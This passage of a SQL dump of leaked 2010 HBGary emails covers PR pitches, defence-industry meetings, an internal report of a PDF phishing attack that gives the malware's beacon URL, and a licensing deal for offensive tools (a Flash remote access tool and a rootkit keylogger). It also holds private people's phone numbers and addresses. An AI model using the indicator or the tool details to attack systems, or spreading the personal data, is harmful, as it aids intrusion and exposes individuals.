2010, at 12:31 PM, Karen Burke wrote:Hi Aaron, I wanted to see if you could provide your take on this week\'s Google/China cybersecurity incident. \r\n&nbsp;\r\nWhen we last spoke, you mentioned the importance of attribution -- that&nbsp;companies/government agencies&nbsp;need to be able to identify source of attacks to be able to respond.&nbsp;In some of the articles, experts say:\r\n&nbsp;\r\nIt is very difficult to attribute a cyberattack to a foreign government. (Is this true -- can we do it using HBGary\'s technology?&nbsp; Obviously, Google must have been able to do so. Do you have any experience in this area?)\r\n&nbsp;\r\nU.S. has no formal policy for dealing with foreign government-led threats against U.S. interests. (Is this true -- do you think we should have one?)\r\n&nbsp;\r\nPenny was thinking we could possibly pitch you as an expert on this topic or pull together a contributed article or speaking abstract to pitch you for some upcoming conferences.\r\n&nbsp;\r\nLet me know what you think. Thanks, Karen&nbsp;\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15321,'aaron_hbgary_com/15321.html'),(1149,'2010-01-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000249.M369287P3547Q1149.eml','\"Barr Aaron\" <aaron@hbgary.com>','Navy / Industry Day','Industry Day/Pre-Proposal Conference:\r\nThe Proactive Computer Network Defense and Information Assurance\r\n(CND/IA) EC Industry Day will be held at the Naval Research\r\nLaboratory, Building 226 on 10 February 2010, at 10:00 AM (EST) with\r\ncheck-in beginning at 9:00 AM (EST). To register and retrieve more\r\nevent details please visit https://secure.onr.navy.mil/events/. The\r\ndeadline to register is 4:00 PM (EST) on 3 February 2010. Pre-\r\nBAA Number 10-004 Page 8 of 20 registration using this web site is\r\nmandatory; WALK-IN REGISTRATION WILL NOT BE PERMITTED. All registrants\r\nwill receive a confirmation email and visitor control instructions\r\nupon completion of the registration process. If requested attendance\r\nexceeds capacity, it may be necessary to limit attendance and\r\norganizations will be so notified.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',1482,'aaron_hbgary_com/1482.html'),(1150,'2010-01-15','\"McCallam, Dennis H (IS)\" <dennis.mccallam@ngc.com>','/aaron@hbgary.com/new/1297000249.M576350P3547Q1150.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','Aaron\r\n\r\nDude!\r\n\r\nWill be happy to.  Scheduling is going to be interesting only because I\r\nam in San Diego until 26th.  Maybe the week of the 2nd??\r\n\r\nR\r\nDennis\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 13, 2010 2:54 PM\r\nTo: McCallam, Dennis H (IS)\r\nSubject: Discussion\r\n\r\nHey Dennis,\r\n\r\nI talked with Dr. Brammer this morning about some of the products my\r\nnew company builds and sells.  He suggested I speak with you.\r\n\r\nLet me know if you have some time next week to get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n From my iPhone\r\n',3161,'aaron_hbgary_com/3161.html'),(1151,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000249.M758325P3547Q1151.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Discussion','Bob,Again.  I will meet with him first because he is likely to have a lot of questions about me leaving.  My goal will be to schedule a demo after our meeting.\r\nAaronFrom my iPhoneBegin forwarded message:From: &quot;McCallam, Dennis H (IS)&quot; &lt;dennis.mccallam@ngc.com&gt;\r\nDate: January 15, 2010 12:44:36 PM MSTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Discussion\r\nAaronDude!Will be happy to.  Scheduling is going to be interesting only because Iam in San Diego until 26th.  Maybe the week of the 2nd??\r\nRDennis-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, January 13, 2010 2:54 PM\r\nTo: McCallam, Dennis H (IS)Subject: DiscussionHey Dennis,I talked with Dr. Brammer this morning about some of the products my\r\nnew company builds and sells.  He suggested I speak with you.Let me know if you have some time next week to get together.Aaron BarrCEO\r\nHBGary Federal Inc. From my iPhone\r\n',11630,'aaron_hbgary_com/11630.html'),(1152,'2010-01-15','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000251.M983361P3547Q1152.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Need agreement(s) between HBGary, HBGary Fed and Xetron','We need an agreement from Xetron, they should have a source code\r\nagreement.   General counsel will probably want to have them sign\r\ntheir paperwork..  Terms of deal\r\n\r\n1.  WE will provide object code and source code for this specific Juicy Fruit.\r\n\r\n2.  They can not sell this code without providing HBGary with a\r\nroyalty (bob, please provide a price)\r\n\r\n3,.  We own ALL rights to software Any deriratives, all original or\r\nmodified source code belongs to HBGary until there is a purchase.\r\n\r\n4.  No source code can leave Xetron, they must maintain control of\r\nthis at all times\r\n\r\n5.  All modifications need to be done by Xetron, not HBGary, which is\r\nwhy we are providing source.\r\n\r\n\r\nIF they want a contract with HBGary Federal that is fine, we just need\r\nto have one between us and Fed\r\n\r\nOn Thu, Jan 14, 2010 at 6:56 AM, Bob Slapnik  wrote:\r\n> Penny and Aaron,\r\n>\r\n>\r\n>\r\n> Aaron wants to provide Xetron with some JF code to be used for\r\n> demonstrations to their end customers.  Those demonstrations could lead to\r\n> JF sales or ongoing services work.  There is significant revenue potential\r\n> doing testing of JF code acquired elsewhere or adding features for mission\r\n> specific uses.\r\n>\r\n>\r\n>\r\n> We need to execute either one tri-party agreement or two separate agreements\r\n> HBG & HBGFed and HBGFed & Xetron.  Below are some points to cover in the\r\n> agreement(s).\r\n>\r\n>\r\n>\r\n> Identification of the HBGary IP.  Here are the items we are planning to\r\n> furnish Xetron.  Another item could be added, but no other items have been\r\n> identified yet.\r\n>\r\n>\r\n>\r\n> ·         Adobe Macromedia Flash Player Remote Access Tool\r\n>\r\n> ·         HBGary Rootkit Keylogger Platform\r\n>\r\n> ·         Software Integration Toolkit Module\r\n>\r\n> ·         This includes both object and source code and documentation\r\n>\r\n>\r\n>\r\n> Agreement(s) need to state the following:\r\n>\r\n>\r\n>\r\n> ·         The IP is owned by HBGary and HBGary will retain ownership.\r\n>\r\n> ·         HBGary Federal are Xetron are restricted as to what they can do\r\n> with the code.\r\n>\r\n> ·         HBGary Federal and Xetron can perform the following:\r\n>\r\n> o   Test the code to verify how it works\r\n>\r\n> o   Make minor revisions to the source code and recompile it\r\n>\r\n> o   Demonstrate it to their end customers\r\n>\r\n> o   Can give the end customer high level marketing documents that describe\r\n> the value to the tools without disclosing anything about the underlying\r\n> technologies (the “secret sauce”).\r\n>\r\n> ·         HBGary Federal and Xetron may not do the following:\r\n>\r\n> o   May not give any portion of the IP to any other party\r\n>\r\n> o   May not sell the IP or software licenses without full disclosure and\r\n> consent from HBGary\r\n>\r\n> ·         HBGary and Xetron will limit the number of people who learn of the\r\n> existence of these tools to only those with “a need to know”.\r\n>\r\n>\r\n>\r\n> I’m sure the two of you will add clauses that I haven’t thought of.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',14519,'aaron_hbgary_com/14519.html'),(1153,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000253.M511152P3547Q1153.eml','andy.purdy@comcast.net','Meeting','Hi Andy,\r\n\r\nI think Bob Sl\r\n\r\n From my iPhone\r\n',6500,'aaron_hbgary_com/6500.html'),(1154,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000253.M720114P3547Q1154.eml','andy.purdy@comcast.net','Premature send','Let me try that again.\r\n\r\nHi Andy,\r\n\r\nI was wondering if you had some time to get a cup of coffee or lunch\r\nfor introductions?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',13632,'aaron_hbgary_com/13632.html'),(1155,'2010-01-15','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000253.M912466P3547Q1155.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','sounds similiar','\r\n\r\nhttp://go.theregister.com/feed/www.theregister.co.uk/2010/01/15/cybersitter_law_firm_attack/\r\n\r\n\r\n From my iPhone\r\n',2173,'aaron_hbgary_com/2173.html'),(1156,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000254.M108203P3547Q1156.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,','Re: Targeted PDF attack - hit HBGary -','wow.How accurate was the information in the email?Can\'t wait to get more information on this.AaronOn Jan 15, 2010, at 7:27 AM, Rich Cummings wrote:All,&nbsp;Penny received a fake purchase order from “GE”.&nbsp; Bob opened the PDF on his machine because he was expecting a purchase order from them.&nbsp; The PDF that we received will beacon back to China after the PDF is opened up and looked at.&nbsp; Below is where the PDF reaches out to get an update.&nbsp; 221.9.252.12/rbin/update.php&nbsp;I’m meeting Bob for lunch to image his machine with FDPro and Encase to gather all facts.&nbsp; Has anyone else opened the pdf? &nbsp;&nbsp;&nbsp;More to come.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inetnum:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 221.8.0.0 - 221.9.255.255netname:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UNICOM-JLdescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China Unicom JILIN province networkdescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China Unicomcountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNadmin-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH1302-APtech-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-APremarks:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; service providermnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC-HMmnt-lower:&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-JLmnt-routes:&nbsp;&nbsp; MAINT-CNCGROUP-RRchanged:&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;hm-changed@apnic.net&nbsp;20030211status:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ALLOCATED PORTABLEchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20040301changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20060124changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20090508source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICroute:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 221.8.0.0/15descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNC Group CHINA169 Jilin Province Networkcountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNorigin:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AS4837mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-RRchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@cnc-noc.net&nbsp;20060118source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ChinaUnicom Hostmasternic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH1302-APe-mail: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@chinaunicom.cnaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No.21,Jin-Rong Streetaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Beijing,100140address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; P.R.Chinaphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-66259940fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-66259764country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@chinaunicom.cn&nbsp;20090408mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUPsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wang Tiegangnic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-APe-mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jhli_jl@mail.jl.cnaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NO.3535,Renmin Street, ChangChun ,address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jilin province , 130021 , P.R. Chinaphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-431-5560792fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-431-5560816country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jhli_jl@mail.jl.cn&nbsp;20060626mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-JLsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICBold: Object type.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10151,'aaron_hbgary_com/10151.html'),(1157,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000254.M331767P3547Q1157.eml','\"Hull, George B (TASC Inc)\" <George.Hull@TASC.COM>','Re: Your status','Thanks George.We talked to Dan down in San Antonio. &nbsp;I am planning on coming back to Colorado Springs on the 2nd of Feb. to talk about what we can do together down there and discuss a few RFP that have hit FedBiz ops related to the ONR and SPAWAR.AaronOn Jan 14, 2010, at 8:42 PM, Hull, George B (TASC Inc) wrote:Aaron,&nbsp;&nbsp; No I don’t have any names, but I will be in San Antonio Monday visiting our team.&nbsp; I will see what I learn.&nbsp;George&nbsp;George B. Hull&nbsp;Director of Technology &amp; Strategy&nbsp;Mission Engineering Business Unit&nbsp;Office: 703-449-3987&nbsp;Cell: 571-230-7495george.hull@tasc.com&nbsp;&lt;image001.png&gt;&nbsp;From:&nbsp;messages-noreply@bounce.linkedin.com&nbsp;[mailto:messages-noreply@bounce.linkedin.com]&nbsp;On Behalf Of&nbsp;Aaron BarrSent:&nbsp;Wednesday, January 13, 2010 9:05 PMTo:&nbsp;Hull, George B (TASC Inc)Subject:&nbsp;RE: Re: Your status&nbsp;LinkedInAaron Barr&nbsp;has sent you a message.Date:&nbsp;1/13/2010Subject:&nbsp;RE: Re: Your statusHi George,Yes it does seem this concept is now finally being put in to practice. A very positive step. Also the idea of one network, no more command autonomy for security implementation. Lots of positives.I keep up on the happenings a bit from Steve. Sounds like a bit of a roller coaster, but sounds like the ride is smoothing out.The new job is a new set of challenges, so far I am enjoying being the master of my domain so to speak, but I am a small player now looking to fit what we think is a discriminating technology in a much larger picture. Which is interesting when you know the big picture. Having fun.I have a question for you. I would like to talk with someone in the A3 under 24th and/or AFISR about cyber based IO. Do you have any idea who I would want to talk to?AaronOn 01/13/10 6:18 AM, George Hull wrote:--------------------Aaron,That was one of my themes from the 2d Air Force Science Board report on Cyberwar. In the 1st study, I successfully argued for the position that we cannot necessarily keep bad guys out of our networks and systems and that for warfighting systems and networks we had to learn to \"fight through\" these attacks, not pull systems off line and launch investigations. In the 2d study, I set out a position at one point that information assurance was not enough, it was a necessary but not sufficient condition for mission success. Instead we need Mission Assurance. We protect systems and networks in order to protect information, we protect information in order to accomplish missions. It is a mission assurance focus we need. Key to a Mission Assurance focus is that we cannot leave information security completely in the hand of the A6 (or N6, G6 or J6). It is an operational responsibility and thus the province of the 3\'s of the world and their Commanders. Mission assurance is a top down look, while information assurance is typically bottoms up. They are both needed. Both the Fighting Through and Mission Assurance themes seem to have caught on. Nice to see the study panel\'s work having some impact.Hope you are doing well in your new role. Things are interesting here. Lot\'s of change and much more to come.GeorgeOn 01/12/10 12:06 PM, Aaron Barr wrote:--------------------Aaron Barr Gen. Kehler states at AFCEA cyberspace conference, \"you can\'t defend cyberspace, it\'s about mission assurance\".View/reply to this messageDon\'t want to receive e-mail notifications?&nbsp;Adjust your message settings.© 2010, LinkedIn Corporation&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14971,'aaron_hbgary_com/14971.html'),(1158,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000254.M510760P3547Q1158.eml','\"Aaron Barr\" <aaron@hbgary.com>','stuff','Contact\r\nAl Pisani\r\nAlex Nieves\r\nRobert Frizzelle\r\nRobert Frisbie\r\nEnd Games\r\nBrian Christos\r\nBrian Masterson\r\n\r\nToDo:\r\nFeb. 2nd TASC Colorado Springs\r\nWebsite\r\nMessaging\r\nWhitepapers/Abstracts\r\nRegister Blackhat DC\r\nRegister RSA Conference\r\nRegister for Navy Day\r\nPalantir Integration\r\nBusiness Plan/Account\r\nOperating Agreement for JF with HBGary\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3956,'aaron_hbgary_com/3956.html'),(1159,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000254.M691001P3547Q1159.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Attribution re Google/China Hack Incident','OK I have read enough. &nbsp;I would like to set up a call to discuss some things I will put together over the weekend.AttributionPolicy and Legal ChangesProactive DefenseThreat IntelligenceInformation SharingAbstracts, Interviews, Speaking...Not sure if you are aware but HBGary was subject to what is likely the same type of attack that hit Google and many other companies. &nbsp;We received an email that looked like it came from a customer but contained malware in a PDF. &nbsp;This topic is going to get very hot.AaronOn Jan 14, 2010, at 12:31 PM, Karen Burke wrote:Hi Aaron, I wanted to see if you could provide your take on this week\'s Google/China cybersecurity incident. \r\n&nbsp;\r\nWhen we last spoke, you mentioned the importance of attribution -- that&nbsp;companies/government agencies&nbsp;need to be able to identify source of attacks to be able to respond.&nbsp;In some of the articles, experts say:\r\n&nbsp;\r\nIt is very difficult to attribute a cyberattack to a foreign government. (Is this true -- can we do it using HBGary\'s technology?&nbsp; Obviously, Google must have been able to do so. Do you have any experience in this area?)\r\n&nbsp;\r\nU.S. has no formal policy for dealing with foreign government-led threats against U.S. interests. (Is this true -- do you think we should have one?)\r\n&nbsp;\r\nPenny was thinking we could possibly pitch you as an expert on this topic or pull together a contributed article or speaking abstract to pitch you for some upcoming conferences.\r\n&nbsp;\r\nLet me know what you think. Thanks, Karen&nbsp;\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7780,'aaron_hbgary_com/7780.html'),(1160,'2010-01-15','\"Hull, George B (TASC Inc)\" <George.Hull@TASC.COM>','/aaron@hbgary.com/new/1297000254.M929173P3547Q1160.eml','aaron@hbgary.com','Re: Your status','\r\nAaron,I will be in Colorado Spring then also.  Should be there 1 - 3 Feb.  Pat and I are running a Quarterly Business Review for Lawrences OU on the 2d.  We ought to get together while we are both out there.George______________________________George B. HullDirector of Technology and StrategyMission Engineering Business UnitTASC, IncOffice: (703) 449-3987Cell: (571) 230-7495george.hull@tasc.comSent from My Blackberry\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Hull, George B (TASC Inc)Sent: Fri Jan 15 11:48:10 2010Subject: Re: Your status\r\nThanks George.We talked to Dan down in San Antonio. &nbsp;I am planning on coming back to Colorado Springs on the 2nd of Feb. to talk about what we can do together down there and discuss a few RFP that have hit FedBiz ops related to the ONR and SPAWAR.AaronOn Jan 14, 2010, at 8:42 PM, Hull, George B (TASC Inc) wrote:Aaron,&nbsp;&nbsp; No I don’t have any names, but I will be in San Antonio Monday visiting our team.&nbsp; I will see what I learn.&nbsp;George&nbsp;George B. Hull&nbsp;Director of Technology &amp; Strategy&nbsp;Mission Engineering Business Unit&nbsp;Office: 703-449-3987&nbsp;Cell: 571-230-7495george.hull@tasc.com&nbsp;&lt;image001.png&gt;&nbsp;From:&nbsp;messages-noreply@bounce.linkedin.com&nbsp;[mailto:messages-noreply@bounce.linkedin.com]&nbsp;On Behalf Of&nbsp;Aaron BarrSent:&nbsp;Wednesday, January 13, 2010 9:05 PMTo:&nbsp;Hull, George B (TASC Inc)Subject:&nbsp;RE: Re: Your status&nbsp;LinkedInAaron Barr&nbsp;has sent you a message.Date:&nbsp;1/13/2010Subject:&nbsp;RE: Re: Your statusHi George,Yes it does seem this concept is now finally being put in to practice. A very positive step. Also the idea of one network, no more command autonomy for security implementation. Lots of positives.I keep up on the happenings a bit from Steve. Sounds like a bit of a roller coaster, but sounds like the ride is smoothing out.The new job is a new set of challenges, so far I am enjoying being the master of my domain so to speak, but I am a small player now looking to fit what we think is a discriminating technology in a much larger picture. Which is interesting when you know the big picture. Having fun.I have a question for you. I would like to talk with someone in the A3 under 24th and/or AFISR about cyber based IO. Do you have any idea who I would want to talk to?AaronOn 01/13/10 6:18 AM, George Hull wrote:--------------------Aaron,That was one of my themes from the 2d Air Force Science Board report on Cyberwar. In the 1st study, I successfully argued for the position that we cannot necessarily keep bad guys out of our networks and systems and that for warfighting systems and networks we had to learn to \"fight through\" these attacks, not pull systems off line and launch investigations. In the 2d study, I set out a position at one point that information assurance was not enough, it was a necessary but not sufficient condition for mission success. Instead we need Mission Assurance. We protect systems and networks in order to protect information, we protect information in order to accomplish missions. It is a mission assurance focus we need. Key to a Mission Assurance focus is that we cannot leave information security completely in the hand of the A6 (or N6, G6 or J6). It is an operational responsibility and thus the province of the 3\'s of the world and their Commanders. Mission assurance is a top down look, while information assurance is typically bottoms up. They are both needed. Both the Fighting Through and Mission Assurance themes seem to have caught on. Nice to see the study panel\'s work having some impact.Hope you are doing well in your new role. Things are interesting here. Lot\'s of change and much more to come.GeorgeOn 01/12/10 12:06 PM, Aaron Barr wrote:--------------------Aaron Barr Gen. Kehler states at AFCEA cyberspace conference, \"you can\'t defend cyberspace, it\'s about mission assurance\".View/reply to this messageDon\'t want to receive e-mail notifications?&nbsp;Adjust your message settings.© 2010, LinkedIn Corporation&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13550,'aaron_hbgary_com/13550.html'),(1161,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000255.M107652P3547Q1161.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Your status','From my iPhoneBegin forwarded message:From: &quot;Hull, George B (TASC Inc)&quot; &lt;George.Hull@TASC.COM&gt;\r\nDate: January 15, 2010 2:41:04 PM MSTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Your status\r\n\r\nAaron,I will be in Colorado Spring then also.  Should be there 1 - 3 Feb.  Pat and I are running a Quarterly Business Review for Lawrences OU on the 2d.  We ought to get together while we are both out there.\r\nGeorge\r\n______________________________\r\nGeorge B. Hull\r\nDirector of Technology and Strategy\r\n\r\nMission Engineering Business Unit\r\nTASC, Inc\r\nOffice: (703) 449-3987\r\nCell: (571) 230-7495\r\ngeorge.hull@tasc.com\r\n\r\n\r\nSent from My Blackberry\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Hull, George B (TASC Inc)\r\nSent: Fri Jan 15 11:48:10 2010Subject: Re: Your status\r\n\r\nThanks George.We talked to Dan down in San Antonio.  I am planning on coming back to Colorado Springs on the 2nd of Feb. to talk about what we can do together down there and discuss a few RFP that have hit FedBiz ops related to the ONR and SPAWAR.\r\nAaronOn Jan 14, 2010, at 8:42 PM, Hull, George B (TASC Inc) wrote:\r\nAaron,\r\n \r\n  No I don’t have any names, but I will be in San Antonio Monday visiting our team.  I will see what I learn.\r\n \r\nGeorge\r\n \r\nGeorge B. Hull \r\nDirector of Technology &amp; Strategy \r\nMission Engineering Business Unit \r\nOffice: 703-449-3987 \r\nCell: 571-230-7495\r\ngeorge.hull@tasc.com\r\n \r\n&lt;image001.png&gt;\r\n \r\n\r\nFrom: messages-noreply@bounce.linkedin.com [mailto:messages-noreply@bounce.linkedin.com] On Behalf Of Aaron Barr\r\nSent: Wednesday, January 13, 2010 9:05 PMTo: Hull, George B (TASC Inc)Subject: RE: Re: Your status\r\n \r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 1/13/2010\r\nSubject: RE: Re: Your status\r\nHi George,Yes it does seem this concept is now finally being put in to practice. A very positive step. Also the idea of one network, no more command autonomy for security implementation. Lots of positives.\r\nI keep up on the happenings a bit from Steve. Sounds like a bit of a roller coaster, but sounds like the ride is smoothing out.The new job is a new set of challenges, so far I am enjoying being the master of my domain so to speak, but I am a small player now looking to fit what we think is a discriminating technology in a much larger picture. Which is interesting when you know the big picture. Having fun.\r\nI have a question for you. I would like to talk with someone in the A3 under 24th and/or AFISR about cyber based IO. Do you have any idea who I would want to talk to?AaronOn 01/13/10 6:18 AM, George Hull wrote:\r\n--------------------Aaron,That was one of my themes from the 2d Air Force Science Board report on Cyberwar. In the 1st study, I successfully argued for the position that we cannot necessarily keep bad guys out of our networks and systems and that for warfighting systems and networks we had to learn to &quot;fight through&quot; these attacks, not pull systems off line and launch investigations. In the 2d study, I set out a position at one point that information assurance was not enough, it was a necessary but not sufficient condition for mission success. Instead we need Mission Assurance. We protect systems and networks in order to protect information, we protect information in order to accomplish missions. It is a mission assurance focus we need. Key to a Mission Assurance focus is that we cannot leave information security completely in the hand of the A6 (or N6, G6 or J6). It is an operational responsibility and thus the province of the 3&#39;s of the world and their Commanders. Mission assurance is a top down look, while information assurance is typically bottoms up. They are both needed. Both the Fighting Through and Mission Assurance themes seem to have caught on. Nice to see the study panel&#39;s work having some impact.\r\nHope you are doing well in your new role. Things are interesting here. Lot&#39;s of change and much more to come.GeorgeOn 01/12/10 12:06 PM, Aaron Barr wrote:--------------------Aaron Barr Gen. Kehler states at AFCEA cyberspace conference, &quot;you can&#39;t defend cyberspace, it&#39;s about mission assurance&quot;.\r\n\r\nView/reply to this message\r\n\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation\r\n \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',13002,'aaron_hbgary_com/13002.html'),(1162,'2010-01-15','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000255.M300113P3547Q1162.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Attribution re Google/China Hack Incident','Sounds good, Aaron. Thanks so much for putting all your thoughts down.&nbsp;It will be very helpful pitching. Let me know too if you had a chance to talk to Ted re how many hours you\'d like me to bill&nbsp; per month, etc. Also, advise on status of release -- I sent you a draft earlier this week. Thanks&nbsp;for everything -- have a great weekend and talk to you next week. Best, Karen&nbsp;&nbsp;&nbsp;--- On Fri, 1/15/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Attribution re Google/China Hack IncidentTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, January 15, 2010, 1:39 PM\r\nOK I have read enough. &nbsp;I would like to set up a call to discuss some things I will put together over the weekend.\r\n\r\nAttribution\r\nPolicy and Legal Changes\r\nProactive Defense\r\nThreat Intelligence\r\nInformation Sharing\r\n\r\nAbstracts, Interviews, Speaking...\r\n\r\nNot sure if you are aware but HBGary was subject to what is likely the same type of attack that hit Google and many other companies. &nbsp;We received an email that looked like it came from a customer but contained malware in a PDF. &nbsp;This topic is going to get very hot.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Jan 14, 2010, at 12:31 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I wanted to see if you could provide your take on this week\'s Google/China cybersecurity incident. \r\n&nbsp;\r\nWhen we last spoke, you mentioned the importance of attribution -- that&nbsp;companies/government agencies&nbsp;need to be able to identify source of attacks to be able to respond.&nbsp;In some of the articles, experts say:\r\n&nbsp;\r\nIt is very difficult to attribute a cyberattack to a foreign government. (Is this true -- can we do it using HBGary\'s technology?&nbsp; Obviously, Google must have been able to do so. Do you have any experience in this area?)\r\n&nbsp;\r\nU.S. has no formal policy for dealing with foreign government-led threats against U.S. interests. (Is this true -- do you think we should have one?)\r\n&nbsp;\r\nPenny was thinking we could possibly pitch you as an expert on this topic or pull together a contributed article or speaking abstract to pitch you for some upcoming conferences.\r\n&nbsp;\r\nLet me know what you think. Thanks, Karen&nbsp;\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',6734,'aaron_hbgary_com/6734.html'),(1163,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000255.M475883P3547Q1163.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Attribution re Google/China Hack Incident','I am 